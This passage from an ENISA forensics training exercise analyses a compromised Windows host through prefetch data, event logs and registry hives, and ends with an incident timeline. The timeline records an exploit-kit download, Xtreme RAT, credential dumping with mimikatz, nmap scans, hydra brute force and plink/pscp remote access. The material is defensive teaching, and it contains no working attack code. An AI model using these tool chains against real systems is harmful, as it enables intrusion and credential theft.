| 18 | SPPSVC.EXE | 416 B0F8131B | 2016-08-17 11:58:38 | 2016-08-17 11:28:38 | 2016-08-17 11:17:19 | 2016-08-17 10:58:38 | 2016-08-17 10:28:38 | 2016-08-17 09:58:38 | 2016-08-17 09:28:37 | 2016-08-17 08:58:37 |
| 19 | ARP.EXE | 1 2BC38967 | 2016-08-16 13:34:50 | N/A |
| 20 | ANTIALIAS.EXE | 1 A08E132E | 2016-07-15 18:01:34 | N/A |



| Sort Sort | | × |
|-----------------------|--------------------------|---|
| Sort Criteria Options | | |
| Sort Key 1 | | |
| Column D | * | <u>A</u>scending <u>D</u>escending |
| Sort Key 2 | | |
| - undefined - | | Ascending |
| | | O <u>D</u> escending |
| Sort Key 3 | | Ascending |
| - undefined - | * * | <u>D</u> escending |
| | | |
| | | |
| | | |
| | | |
| Help | <u>O</u> K <u>C</u> ance | l <u>R</u> eset |

Table data should now be sorted by last run time of the binaries.

Scroll down to the time of the incident.

| | A | В | D | | E | E | | F | | G | |
|-----|---------------------|---------------|---------------------|--------|-----------------|-----------|-----------------------------|------------|-------------|---------------|---------|
| 1 | Executable Name | Run Cour | nt Last Run Time | 0 | Last Run Tin | 1e 1 | Last Run T | īme 2 | Last Run | Time 3 | |
| 104 | PLUGIN-CONTAINE | 15 | 2016-08-16 13:0 | 3:00 | 2016-08-16 12 | 2:56:01 | 2016-08-03 | 11:53:01 | 2016-08-0 | 03 11:45:16 | |
| 105 | FLASHPLAYERPLU | • 8 | 2016-08-16 13:0 | 3:01 | 2016-08-16 13 | 3:03:01 | 2016-07-26 | 08:26:43 | 2016-07-2 | 26 08:26:43 | |
| 106 | UPDATE.EXE | 2 | 2016-08-16 13:0 | 3:04 | 2016-08-16 13 | 3:03:03 | N/A | | N/A | | |
| 107 | WINDOWS-KB89083 | ▶ 1 | 2016-08-16 13:0 | 5:57 | N/A | | N/A | | N/A | | |
| 108 | MRT.EXE | 2 | 2016-08-16 13:0 | 6:18 | 2016-07-19 11 | L:15:09 | N/A | | N/A | | |
| | | | | | | | | | | | |
| | A | В | D | | E | | F | | | | |
| 1 | Executable Name | Run Count I | Last Run Time 0 | Las | t Run Time 1 | Last | Run Time 2 | | | | |
| 110 | WMIAPSRV.EXE | 6 2 | 2016-08-16 13:09:32 | 2 201 | 6-08-16 13:09:3 | 32 2016- | -08-16 13:07: | 30 | | | |
| 111 | 54948TP.EXE | 1 2 | 2016-08-16 13:10:13 | 3 N/A | | N/A | | | | | |
| 112 | MIMIKATZ.EXE | 1 1 | 2016-08-16 13:14:47 | / N/A | | N/A | | | | | |
| 113 | BROWSERPASSWO | 1 2 | 2016-08-16 13:14:50 |) N/A | | N/A | | | | | |
| 114 | WINSAT.EXE | 3 2 | 2016-08-16 13:21:55 | 5 201 | 6-08-01 10:26:1 | 9 2016- | -07-20 02:37: | 28 | | | |
| 115 | W321M.EXE | 4 2 | 2016-08-16 13:26:36 | 5 201 | 6-08-11 13:25:1 | .0 2016- | -08-01 09:48: | 49 | | | |
| | | | | | - | | - | | - | | |
| | A Example A | B | D D | Last | E | L and Day | F | Last Days | G Tana 2 | H H | |
| 1 | Executable Name R | | ast Run IIme U | 2016 (| un IIme 1 | 2016 09 | n IIme Z | 2016 09 11 | 12-2E-11 | 2016 09 01 0 | 1e 4 |
| 110 | | 9 20 11 20 | 16 08 16 13.20.37 | 2010-0 | 00-10 13.20.37 | 2016-00 | -11 13.25.11 16 13.08.58 | 2010-00-11 | 13.25.11 | 2016-08-01 0 | 9.40.49 |
| 112 | NETSTATEXE | 1 20 | 16-08-16 13:34:50 | N/A | 00-10 13.03.04 | N/A | -10 15.00.50 | N/A | 15.00.50 | N/A | 5.00.50 |
| 119 | ARP.EXE | 1 20 |)16-08-16 13:34:50 | N/A | | N/A | | N/A | | N/A | |
| 120 | IPCONFIG.EXE | 4 20 | 016-08-16 13:34:50 | 2016-0 | 08-16 13:34:49 | 2016-08 | -16 13:34:25 | 2016-08-16 | 5 13:09:16 | N/A | |
| 121 | ROUTE.EXE | 1 20 |)16-08-16 13:34:50 | N/A | | N/A | | N/A | | N/A | |
| 122 | NETSH.EXE | 3 20 |)16-08-16 13:34:51 | 2016-0 | 08-16 13:34:51 | 2016-08 | -16 13:34:50 | N/A | | N/A | |
| 123 | GPRESULT.EXE | 1 20 | 016-08-16 13:34:51 | N/A | | N/A | | N/A | | N/A | |
| 124 | DEFRAG.EXE | 6 20 | 016-08-16 13:39:08 | 2016-0 | 08-16 13:21:58 | 2016-08 | -11 12:20:42 | 2016-08-01 | L 08:46:42 | 2016-07-25 0 | 5:25:01 |
| 125 | CONSENTEXE | 18 20 | 016-08-16 13:50:29 | 2016-0 | 08-16 13:03:02 | 2016-08 | -16 12:58:49 | 2016-08-03 | 3 11:57:54 | 2016-07-26 08 | 8:33:38 |



| | A | в | D | E | F | G | н | 1 |
|-----|-------------------|--------|---------------------|---------------------|---------------------|---------------------|---------------------|---------------------|
| 1 | Executable N 🔸 | un Cou | Last Run Time 0 | Last Run Time 1 | Last Run Time 2 | Last Run Time 3 | Last Run Time 4 | Last Run Time 5 |
| 130 | NS1027.TMP | 1 | 2016-08-16 13:50:39 | N/A | N/A | N/A | N/A | N/A |
| 131 | NMAP.EXE | 11 | 2016-08-16 13:59:34 | 2016-08-16 13:59:29 | 2016-08-16 13:59:26 | 2016-08-16 13:56:36 | 2016-08-16 13:56:33 | 2016-08-16 13:56:30 |
| 132 | HYDRA.EXE | 10 | 2016-08-16 14:04:44 | 2016-08-16 14:04:44 | 2016-08-16 14:04:44 | 2016-08-16 14:04:44 | 2016-08-16 14:04:44 | 2016-08-16 14:04:44 |
| 133 | INSTALLAGE | 29 | 2016-08-16 14:13:45 | 2016-08-16 13:00:34 | 2016-08-11 13:28:11 | 2016-08-11 11:14:51 | 2016-08-03 11:54:27 | 2016-08-03 11:44:17 |
| 134 | PLINK.EXE | 6 | 2016-08-16 14:23:31 | 2016-08-16 14:22:45 | 2016-08-16 14:20:44 | 2016-08-16 14:17:45 | 2016-08-16 14:11:20 | 2016-08-16 14:10:49 |
| 135 | CMD.EXE | 18 | 2016-08-16 14:44:17 | 2016-08-16 14:23:05 | 2016-08-16 14:19:45 | 2016-08-16 14:17:24 | 2016-08-16 14:09:37 | 2016-08-16 14:02:52 |
| 136 | PSCP.EXE | 3 | 2016-08-16 14:50:09 | 2016-08-16 14:47:54 | 2016-08-16 14:47:12 | N/A | N/A | N/A |
| 137 | COMPATTEL | 12 | 2016-08-16 15:00:47 | 2016-08-16 15:00:47 | 2016-08-16 13:22:05 | 2016-08-16 13:22:05 | 2016-08-11 11:21:00 | 2016-08-11 11:21:00 |

5.7 System logs analysis

Copy all Windows logs from Windows\System32\winevt\Logs to ~/training/ex1/winevt/evtx/.

| enisa@training: ~/training/ex1 | - • × |
|---|-------|
| File Edit View Search Terminal Help | |
| <pre>enisa@training:~\$ cd training/ex1 enisa@training:~/training/ex1\$ mkdir winevt enisa@training:~/training/ex1\$ mkdir winevt/evtx enisa@training:~/training/ex1\$ cp -r /mnt/part_c/Windows/System32/winevt/Logs/* winevt/ enisa@training:~/training/ex1\$</pre> | evtx/ |

Convert previously copied EVTX files to XML format using evtxdump.pl utility.



List all logs in XML format.



Open any of the XML files and inspect XML structure of system logs.





Run ~/training/tools/logparse.py script with --help parameter to view script usage information:



Using logparse.py script search for all events that were logged between 14:03:00 and 14:05:00.







Search for all events mentioning "hydra.exe" phrase – possibly logged at different period of time. This can be done by specifying *pattern* filter to logparse.py.

| 🗖 enisa@training: ~/training/tools 🏪 🔤 | |
|--|---|
| File Edit View Search Terminal Help | |
| enisa@training:~/training/tools \$./logparse.pypattern hydra.exe/exl/winevt/xml, | / |
| | |
| | |
| | |
| | |
| | |



| enisə@training: ~/training/tools | - = × |
|--|-------|
| File Edit View Search Terminal Help | |
| enisa@training:~/training/tools\$./logparse.pypattern hydra.exe/exl/winevt/xml/ | |
| <event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"></event> | |
| <system></system> | |
| <provider guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" name="Microsoft-Windows-Security-Auditing"></provider> | |
| <pre><eventid>4798</eventid></pre> | |
| <version>0</version> | |
| <level>0</level> | |
| <task>13824</task> | |
| <opcode>0</opcode> | |
| <keywords>0x802000000000000</keywords> | |
| <timecreated systemtime="2016-08-16T14:02:04.4348Z"></timecreated> | |
| <pre><eventrecordid>3135</eventrecordid></pre> | |
| <correlation activityid="{4F809423-F7BD-0000-4494-804FBDF7D101}"></correlation> | |
| <execution processid="516" threadid="1272"></execution> | |
| <pre><channel>Security</channel></pre> | |
| <computer>DESKTOP-DBMG9RV</computer> | |
| <pre><security></security></pre> | |
| | |
| <eventdata></eventdata> | |
| <pre><data name="largetUserName">/Peter</data></pre> | |
| <pre>cData Name='largetDomainName'>DE5k10P-DBMG9KV</pre> | |
| <pre>cbarta Name=' TargetS10">>-1->-21-1623514/16-2111984414-5/8690546-10014/Darta></pre> | |
| <pre>cbara Name="SubjectUserSid">>-1-5-21-162514/16-2111984414-5/8690546-1001</pre> | |
| <pre> vData Name="SubjectUserName">Peter </pre> | |
| <pre><data name="Subjectiomalinvame">Deskilop-bargseve/bara></data></pre> | |
| <pre>cData Name="SubjectLogonio">v0x0000000000001e3c2</pre> | |
| | |
| <pre><back name="catterprocessiname">c:\Users\Peter\Appuata\Hoaming\Epupdate\thc\nydra.exe</back> </pre> | |
| | |
| | |

Search for events with IDs 6005, 6006 or 6008.

| enisa@training: ~/training/tools | - = × |
|--|-------|
| File Edit View Search Terminal Help | |
| <pre>enisa@training:~/training/tools\$./logparse.pyids 6005,6006,6008short/ex1/winevt/ tail</pre> | - 13 |
| 2016-07-19 10:31:43.916000 6005 System EventLog | |
| 2016-07-26 08:10:22.300000 6006 System EventLog | |
| 2016-07-26 08:17:14.205000 6005 System EventLog | |
| 2016-07-26 09:16:45.297100 6006 System EventLog | |
| 2016-07-27 11:42:58.898700 6005 System EventLog | |
| 2016-07-27 13:18:19.855100 6006 System EventLog | |
| 2016-08-01 07:34:33.973200 6005 System EventLog | |
| 2016-08-01 11:49:21.574100 6006 System EventLog | |
| 2016-08-03 11:39:02.109000 6005 System EventLog | |
| 2016-08-03 12:05:01.263900 6006 System EventLog | |
| 2016-08-11 11:09:35.270000 6005 System EventLog | |
| 2016-08-11 14:10:30.896500 6006 System EventLog | |
| 2016-08-16 12:54:31.595300 6005 System EventLog | |
| enisa@training:~/training/tools\$ | |



6. Registry analysis

6.1 Copying and viewing registry

Copy all registry files to separate directory at ~/training/ex1/registry:



Start Windows Registry Recovery (WRR) tool from ~/training/tools/WRR/WRR.exe using Wine.

| MiTeC Windows Regis | stry Recovery |
|--|--|
| <u>File Windows H</u> elp | |
| Ele Windows Help Look in: SAM SEC | FAULT UsrClass.dat USER.DAT TURITY FTWARE STEM |
| File <u>p</u> arr | me: SOFTWARE Open |
| Files of | type: All files Cancel |
| | |

Using WRR open HKLM\Software hive located in SOFTWARE file.



| MiTeC Windows Registry Recovery - [SOFTWARE] | | | | | |
|--|----------------|--|-------|--|--|
| 👯 Eile Explore <u>W</u> indows E | telp | | _ B × | | |
| | | | | | |
| Export to REGEDIT4 fo | rm | ;\home\enisa\training\ex1\registry\SOFTWARE | | | |
| 😇 📄 Export Data | | ype: Windows NT Registry | | | |
| 🖹 😻 File Information | | ast modified: 9/19/2016 2:05:24 PM live name: emRoot\System32\Config\SOFTWARE | | | |
| à Security Records | | hecksum: EBACBF7E | | | |
| 😻 SAM | | lumber of HBINs: 8682 | | | |
| 👔 Windows Installation | l | oading time: 1.46 s | | | |
| 🏴 Hardware | | RC32: 5D990356 | | | |
| 🛐 User Data | | ID5 : 9A66884B78C3B38D6F62F682A3045D1B HA1 : F8066F0DF221949F2CFEDFC9F5DB89546F31ADCF | | | |
| 펄 🗃 Startup Applications | | | | | |
| Services and Drivers | | | | | |
| Network Configuration | | | | | |
| I Windows Firewall Settin | ngs | | | | |
| Environment | | | | | |
| C Shell Folders | | | | | |
| 3 Outlook Express | | | | | |
| 🛃 Raw Data | | | | | |
| Windows NT Registry 1307 | 55 keys loaded | Z:\home\enisa\training\ex1\registry\SOFTWARE | //. | | |

Check what information can be extracted from registry using WRR tool.

| | MiTeC Windows Registry Recovery - [SOFTWARE] | | | | | | | |
|----------|--|--|----------------------|--------------------------------|----------|---|--|--|
| | G Eile Explore Windows Help코지 | | | | | | | |
| | SOFTWARE | | | | | | | |
| | Export to REGEDIT4 fo | General Installed Software | Hot Fixes | | | 1 | | |
| <u>e</u> | | Name | Version | Company | Datetime | Uninstall | | |
| ίΞ | Export Data | 5kype™ 7.26 | 7.26.101 | Skype Technolo | 20160816 | MsiExec.exe /X{FC965A47-4839-40CA-B618-18F486 | | |
| | 😻 File Information | ቬ Adobe Flash Player 18 NPAPI ቬ GIMP 2.8.16 | 18.0.0.194 2.8.16 | Adobe Systems The GIMP Team | 20160715 | C:\Windows\system32\Macromed\Flash\FlashUtil32_J "C:\Program Files\GIMP 2\uninst\unins000.exe" | | |
| | a Security Records | 🐻 Inkscape 0.91 | 0.91 | inkscape.org | 20160726 | MsiExec.exe /I{81922150-317E-4BB0-A31D-FF1C14F | | |
| | sam | Mozilla Firefox 33.0.3 (x86 en-U5) | 33.0.3 45.2.0 | Mozilla Mozilla | | "C:\Program Files\Mozilla Firefox\uninstall\helper.exe "C:\Program Files\Mozilla Maintenance Service\uninsta | | |
| | 💦 Windows Installation 🛛 🗕 | 📕 🛅 Mozilla Thunderbird 45.2.0 (x86 | 45.2.0 | Mozilla | | C:\Program Files\Mozilla Thunderbird\uninstall\helper. | | |
| | 運 Hardware | 🐻 WinPcap 4.1.3 | 4.1.0.2980 | CACE Technolo | | "C:\Program Files\WinPcap\uninstall.exe" | | |
| | 🛐 User Data | | | | | | | |
| Der | 📑 Startup Applications | | | | | | | |
| Į | 💮 Services and Drivers 🛛 💂 | | ; | : | : | : • | | |
| Wi | ndows NT Registry 130755 key: | s loaded Z:\home\enis | a\training\ex1 | registry\SOFTWARE | | li. | | |

Choose *Raw Data* function from the left panel to view the original registry structure.



| MiTeC Windows Registry Recovery - [SOFTWARE] | | | | | | |
|--|---|--------------------|-----------------|-------------------|-----------------------------------|---------------------------------|
| 🌍 Eile Explore <u>W</u> indows <u>H</u> elp | | | | | | _ 뢰 × |
| | | | | | | |
| Export to REGEDIT4 form | 🕒 📭 🕈 🖨 🚣 🔎 🔿 | <u>X</u> | | | | |
| 🚆 🔚 Export Data | Policies PowerEfficiencyDiag | nostics | Value | Type PEC EYPAN | Data Cillicers\Peter\AppData\S | Roaming/HostData/undate.exe |
| File Information | PrecisionTouchPad | nosaes | | Ked_exr Hu | C. Josef Stretter (Appendig) | (oanning) i oscoata (apadee.exe |
| à Security Records | PreviewHandlers PropertySystem | | | | | |
| 💙 SAM | Proximity PushNotifications | | | | | |
| 👔 Windows Installation | E Reliability | | | | | |
| 🏴 Hardware | RetailDemo | | | | | |
| 💽 User Data | - 🗎 RunOnce | | | | | |
| ត្ន 📑 Startup Applications | - 🔲 Search - 🧰 SelectiveRemoteWip | e _ | | | | |
| 🚆 🌐 Services and Drivers | Davil David | | | | | |
| Network Configuration | Key | | | Туре | Value | Data |
| 💞 Windows Firewall Settings | | | | | | |
| Environment | | | | | | |
| 🛅 Shell Folders | | | | | | |
| Outlook Express | | | | | | Þ |
| 👶 Raw Data | Search Log Key Path ROOT\Microsoft\Windows\Cur | rrentVersion\Run | | | | |
| Windows NT Registry 130755 key | ys loaded Z:\home\enis | a\training\ex1\reg | jistry\SOFTWARE | 1 | | 1. |

6.2 Inspecting registry timeline

Use *regtime* plugin of RegRipper tool to create timeline.



Scroll timeline until date of the incident when GhCtxq8t key was modified.

| 🗌 enisa | enisa@training: ~/training/tools/RegRipper2.8 | | | | |
|---------|---|------------|--------------|--|--|
| File E | dit ۱. | /iew Searc | h Terminal H | Help | |
| Tue Au | g 16 | 13:03:10 | 2016Z | ROOT\Software\GhCtxq8t | |
| Tue Au | g 16 | 13:03:01 | 2016Z | ROOT\Software\Microsoft\Internet Explorer\LowRegistry\Aud | |
| Store\ | bcdba | a90d_0\{2 | 19ED5A0-9CBF | 4F3A-B927-37C9E5C5F14F} | |
| Tue Au | g 16 | 13:02:59 | 2016Z | ROOT\Software\Microsoft\Windows\CurrentVersion\Internet \$ | |
| Tue Au | g 16 | 13:02:57 | 2016Z | ROOT\Software\Microsoft\Windows\CurrentVersion | |
| Tue Au | g 16 | 13:02:57 | 2016Z | ROOT\Software\Microsoft\Windows\CurrentVersion\Run | |
| Tue Au | g 16 | 13:02:57 | 2016Z | ROOT\Software\Microsoft\Windows\CurrentVersion\RunOnce | |
| lue Au | g 16 | 13:02:54 | 20162 | ROOI\Software\Microsoft\Windows Script Host | |
| Tue Au | g 16 | 13:02:54 | 2016Z | ROOT\Software\Microsoft\Windows Script Host\Settings | |

Inspect contents of GhCtxq8t key using WRR tool and Raw Data function.



| 0 |) NTUSER.DAT | | | | | | |
|------------|-------------------------|---|---|--|--|--|--|
| - | Export to REGEDIT4 form | | | | | | |
| | 📙 Export Data | Value Type Data Value Value Type Data | | | | | |
| - | 🧇 File Information | Cluents C | | | | | |
| | à Security Records | ECG_EXPAN superapt | | | | | |
| | 😻 SAM | | | | | | |
| | 🛞 Windows Installation | | | | | | |
| |) Hardware | e in Mozilia B in Policies | | | | | |
| | 💼 User Data | RegisteredApplications | | | | | |
| | i Startup Applications | B Skype | | | | | |
| <u>ē</u> . | an | 🗈 🖻 System | • | | | | |

Search for PuTTY related entries on the registry timeline created from NTUSER.DAT file.

| e | enisa@training: ~/training/tools/RegRipper2.8 | | | | |
|------|---|--------|--------|------------|---|
| File | Edit | View | Search | n Terminal | Help |
| Tue | Aug | 16 14: | 11:26 | 2016Z | ROOT\Software |
| Tue | Aug | 16 14: | 11:26 | 2016Z | ROOT\Software\SimonTatham |
| Tue | Aug | 16 14: | 11:26 | 2016Z | ROOT\Software\SimonTatham\PuTTY |
| Tue | Aug | 16 14: | 11:26 | 2016Z | ROOT\Software\SimonTatham\PuTTY\SshHostKeys |
| Tue | Aug | 16 14: | 03:21 | 2016Z | ROOT\Software\Cygwin |
| Tue | Aug | 16 14: | 03:21 | 2016Z | ROOT\Software\Cygwin\Installations |

View SshHostKeys key using WRR tool.

| 🕒 🔯 7 🖻 🏯 🔎 🌩 💥 | | | | |
|----------------------------|-------------------------|---------|--|--|
| 🖶 🛄 Mozilia 💽 | Value | Туре | Data | |
| 🖿 🚞 Policies 📨 | ab rea2@22.192.168.5.10 | REG SZ | 0×10001_0×b0ee239bc021d51975d7ae5f4aa93251389936de25a0608607cf | |
| 🗉 📄 RegisteredApplications | 1302@22.172.100.3.10 | 1100_02 | 0.10001,0.00002330002103137307003100330003530002300000070 | |
| 📮 🧰 SimonTatham | | | | |
| 🖻 🧰 Putty | | | | |
| 🗀 🛄 SshHostKeys 🔤 | | | | |
| 🗄 🧰 Skype | | | | |
| 🖻 🚞 System 📃 | • | | | |

6.3 UserAssist

To quickly decode and extract information about UserAssist use *userassist* plugin from the RegRipper tool:



Find the UserAssist entries related to the incident:





Tue Aug 16 14:44:17 2016 2 {A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\System Tools\Command Prompt.lnk (3) Tue Aug 16 13:50:02 2016 Z {9E3995AB-1F9C-4F13-B827-48B24B6C7174}\TaskBar\File Explorer.lnk (14) Tue Aug 16 12:55:53 2016 Z

C:\Users\Public\Desktop\Mozilla Firefox.lnk (7)

- Thu Aug 11 13:58:56 2016 Z
 - [9E3995AB-1F9C-4F13-B827-48B24B6C7174}\TaskBar\Mozilla Firefox.lnk (4)

Wed Aug 3 11:50:33 2016 Z

6.4 List of installed applications

Start by opening with the WRR tool SOFTWARE registry file. Then navigate to Microsoft\Windows\CurrentVersion\Uninstall key:



Each Uninstall subkey contains some information about application (varying between subkeys) like installation date, path to uninstall binary, app version or install source.



| 🖓 🗎 🚣 🔎 🌩 💥 | | | | |
|------------------------|--------------------|-----------|---|--|
| 📄 🧰 Uninstall 📃 | Value | Туре | Data | |
| - 🗀 {81922150-317E-4 | athorizedCDFPrefix | REG_SZ | | |
| | and Comments | REG_SZ | | |
| 🗀 AddressBook | and Contact | REG_SZ | | |
| 🐃 🦲 Adobe Flash Player | DisplayVersion | REG_SZ | 0.91 | |
| 🐃 🧰 Connection Manage | 🍓 HelpLink | REG_SZ | | |
| - DirectDrawEx | a HelpTelephone | REG_SZ | | |
| DXM_Runtime | 🍓 InstallDate | REG_SZ | 20160726 | |
| - Eontcore | installLocation | REG_SZ | | |
| - GIMP-2_is1 | a InstallSource | REG_SZ | C:\Users\Peter\Downloads\ | |
| 🛄 IE40 | 🍓 ModifyPath | REG_EXPAN | MsiExec.exe /I{81922150-317E-4BB0-A31D- | |
| 🔲 IE4Data | 🍓 Publisher | REG_SZ | inkscape.org | |
| - 🔲 IESBAKEX | 🍓 Readme | REG_SZ | | |
| 🛄 IEData | 🍓 Size | REG_SZ | | |
| 🛄 MobileOptionPack | 👪 EstimatedSize | REG_DWORD | 0x0004FCC6 | |
| 🔲 Mozilla Firefox 33.0 | 🍓 UninstallString | REG_EXPAN | MsiExec.exe /I{81922150-317E-4BB0-A31D- | |
| 🦲 Mozilla Thunderbird | 🍓 URLInfoAbout | REG_SZ | | |
| MozillaMaintenance | 🂐 URLUpdateInfo | REG_SZ | | |
| - MPlayer2 | 👪 VersionMajor | REG_DWORD | 0×00000000 | |
| 📃 SchedulingAgent | 👪 VersionMinor | REG_DWORD | 0×0000005B | |
| - 🗀 WIC | 👪 WindowsInstaller | REG_DWORD | 0×00000001 | |
| 🔤 WinPcapInst | 👪 Version | REG_DWORD | 0×00580000 | |
| | 👪 Language | REG_DWORD | 0×00000409 | |
| 🔲 UserPictureChange | 赵 DisplayName | REG_SZ | Inkscape 0.91 | |
| 🗈 📃 UserState | 👪 sEstimatedSize2 | REG_DWORD | 0×00027E63 | |
| 📃 Utilman | | | | |

By browsing subkeys in Uninstall key, check Mozilla Firefox and Adobe Flash Player versions.

| Value | Туре | Data |
|---------------------|-----------|--|
| 🍓 DisplayName | REG_SZ | Adobe Flash Player 18 NPAPI |
| 🌉 Publisher | REG_SZ | Adobe Systems Incorporated |
| 🍓 DisplayVersion | REG_SZ | 18.0.0.194 |
| 🍓 HelpLink | REG_SZ | http://www.adobe.com/go/flashplayer_support/ |
| 👪 NoModify | REG_DWORD | 0x0000001 |
| 👪 NoRepair | REG_DWORD | 0x0000001 |
| 🍓 RequiresIESysFile | REG_SZ | 4.70.0.1155 |
| 🍓 URLInfoAbout | REG_SZ | http://www.adobe.com |
| 🍓 URLUpdateInfo | REG_SZ | http://www.adobe.com/go/getflashplayer/ |
| 👪 VersionMajor | REG_DWORD | 0x0000012 |
| 👪 VersionMinor | REG_DWORD | 0x0000000 |
| 🍓 UninstallString | REG_SZ | $\label{eq:c:Windows} system 32 \mbox{Macromed} Flash \mbox{Elash} 132_{18}_0_0_{194} \mbox{Plugin.exe} - \mbox{maintain plugin} \mbox{Macromed} \mbox{Flash} \mbox{Vindows} \mbox{System} 32 \mbox{Macromed} \mbox{Flash} \mbox{Vindows} \mbox{System} \mbox$ |
| 🌉 DisplayIcon | REG_SZ | C:\Windows\system32\Macromed\Flash\FlashUtil32_18_0_0_194_Plugin.exe |
| 👪 EstimatedSize | REG_DWORD | 0x0000463B |



| Value | Туре | Data |
|-------------------|-----------|---|
| and Comments | REG_SZ | Mozilla Firefox 33.0.3 (x86 en-US) |
| 🍓 DisplayIcon | REG_SZ | C:\Program Files\Mozilla Firefox\firefox.exe,0 |
| 🍓 DisplayName | REG_SZ | Mozilla Firefox 33.0.3 (x86 en-US) |
| 🍓 DisplayVersion | REG_SZ | 33.0.3 |
| 🍓 HelpLink | REG_SZ | https://support.mozilla.org |
| 🍓 InstallLocation | REG_SZ | C:\Program Files\Mozilla Firefox |
| 🍓 Publisher | REG_SZ | Mozilla |
| 🂐 UninstallString | REG_SZ | "C:\Program Files\Mozilla Firefox\uninstall\helper.exe" |
| 🂐 URLUpdateInfo | REG_SZ | https://www.mozilla.org/firefox/33.0.3/releasenotes |
| 🍓 URLInfoAbout | REG_SZ | https://www.mozilla.org |
| 🔀 NoModify | REG_DWORD | 0x00000001 |
| 🤀 NoRepair | REG_DWORD | 0×00000001 |
| 👪 EstimatedSize | REG_DWORD | 0×000135EB |
| 👪 sEstimatedSize2 | REG_DWORD | 0x000135D3 |

Check the last modification date of WinPcapInst key by right clicking on the subkey and choosing *Properties* from the context menu.



| Key Properties | _ = × |
|---|-------|
| WinPcapInst | |
| Idx: 119619 Relative Offset: 020380 Number of Subkeys: 0 Security Key Offset: 198D678 Date Modified: 8/16/2016 1:50:31 PM | * |
| | ОК |



7. Building the timeline

To get better picture of the whole incident at the end it's worth to build timeline with all timestamps collected from different sources. List below presents all timestamps obtained from the previous tasks.

Observations that should be correlated with other logs (network logs, logs from other hosts) were additionally bolded.

| TIMESTAMP [UTC] | OBSERVATION | EVIDENCE SOURCE |
|---------------------|--|---|
| 12:54:24 | Start of System process | Memory analysis |
| 12:54:31 | Start of Event log service | System logs |
| 12:55:53 | Start of firefox.exe | Prefetch files UserAssist keys |
| 13:02:46 | User visits http://blog.mycompany.ex/ | Firefox history |
| 13:02:50 - 13:03:17 | Browser downloads pages from http://blog.mysportclub.ex/wp- content/uploads/hk/ (EK) | Firefox history, Filesystem analysis |
| 13:02:53 | Creation of Firefox cache file possibly containing exploit code (CVE-2012-3993) | AV scan Filesystem analysis |
| 13:02:56 | Creation of 3568226350[1].exe file (referred in one of the cache files) | AV scan Filesystem analysis |
| 13:02:57 | Creation of svchost.exe binary in %TEMP% directory | Filesystem analysis |
| 13:02:57 | Start of svchost.exe process containing Xtreme RAT code | Memory analysis |
| 13:02:57 | Modification of Run and RunOnce keys | Registry analysis |
| 13:02:58 | :02:58 Start of second explorer.exe process containing Xtreme RAT code (possible Run PE) | |
| 13:03:04 | Start of update.exe process with Xtreme RAT code | Memory analysis |
| 13:03:10 | Modification of GhCtxq8t registry key (update.exe) | Registry analysis |
| 13:03:16 | Firefox flash plugin crash report | Firefox crash reports |
| 13:07:36 | Start of some cmd.exe process | Memory analysis |
| 13:10:03 | Creation of 54948tp.exe executable in %TEMP% directory | Filesystem analysis |
| 13:10:13 | Execution of 54948tp.exe | Prefetch files |
| 13:10:13-13:14:47 | Time period when http://blog.mysportclub.ex/wp- content/uploads/hk/files/data_32.bin was downloaded | Python decompilation |



| 13:14:47 | Creation of %APPDATA%\EpUpdate folder containing multiple hacking tools | Filesystem analysis |
|----------|--|---------------------------------------|
| 13:14:47 | Creation of %TEMP%\SystemProfile folder containing results of execution various commands | Filesystem analysis |
| 13:14:47 | Execution of mimikatz.exe and creation of mimikatz.log file | Prefetch files Filesystem analysis |
| 13:14:50 | Execution of browserpassworddump.exe and creation of bpd.log | Prefetch files Filesystem analysis |
| 13:34:25 | Creation of sysinfo.txt in %TEMP%\SystemProfile | Filesystem analysis |
| 13:42:12 | Start of some cmd.exe process | Memory analysis |
| 13:50:29 | Start of winpcap-nmap-4.13.exe | UserAssist |
| 13:59:29 | Port scan of 192.168.5.1 | Filesystem analysis |
| 13:59:34 | Port scan of 192.168.5.10 | Filesystem analysis |
| 13:59:36 | Port scan of 192.168.5.15 | Filesystem analysis |
| 14:02:04 | Execution of hydra.exe process (possible dictionary attack) | System logs |
| 14:04:44 | Execution of Hydra.exe (possible dictionary attack) | Prefetch files System logs |
| 14:08:30 | Start of some cmd.exe process | Memory analysis |
| 14:10:49 | Possible login to some remote host (Plink.exe execution) | Prefetch files |
| 14:11:20 | Possible login to some remote host (Plink.exe execution) | Prefetch files |
| 14:11:26 | Modification of PuTTY SshHostKeys (RSA key pointing to 192.168.5.10) | Registry analysis |
| 14:17:45 | Possible login to some remote host (Plink.exe execution) | Prefetch files |
| 14:18:48 | Start of some cmd.exe process | Memory analysis |
| 14:20:44 | Possible login to some remote host (Plink.exe execution) | Prefetch files |
| 14:22:45 | Possible login to some remote host (Plink.exe execution) | Prefetch files |
| 14:23:02 | Start of some cmd.exe process | Memory analysis |
| 14:23:31 | Possible login to some remote host (Plink.exe execution) | Prefetch files |
| 14:23:46 | Start of some cmd.exe process | Memory analysis |
| 14:47:12 | Execution of PSCP tool, possibly to download/upload some data from remote host | Prefetch files |



| 14:47:54 | execution of PSCP tool, possibly to download/upload some data from remote host | Prefetch files |
|----------|--|----------------|
| 14:50:09 | execution of PSCP tool, possibly to download/upload some data from remote host | Prefetch files |



ENISA

European Union Agency for Network and Information Security Science and Technology Park of Crete (ITE) Vassilika Vouton, 700 13, Heraklion, Greece

Athens Office

1 Vass. Sofias & Meg. Alexandrou Marousi 151 24, Athens, Greece





PO Box 1309, 710 01 Heraklion, Greece Tel: +30 28 14 40 9710 info@enisa.europa.eu www.enisa.europa.eu

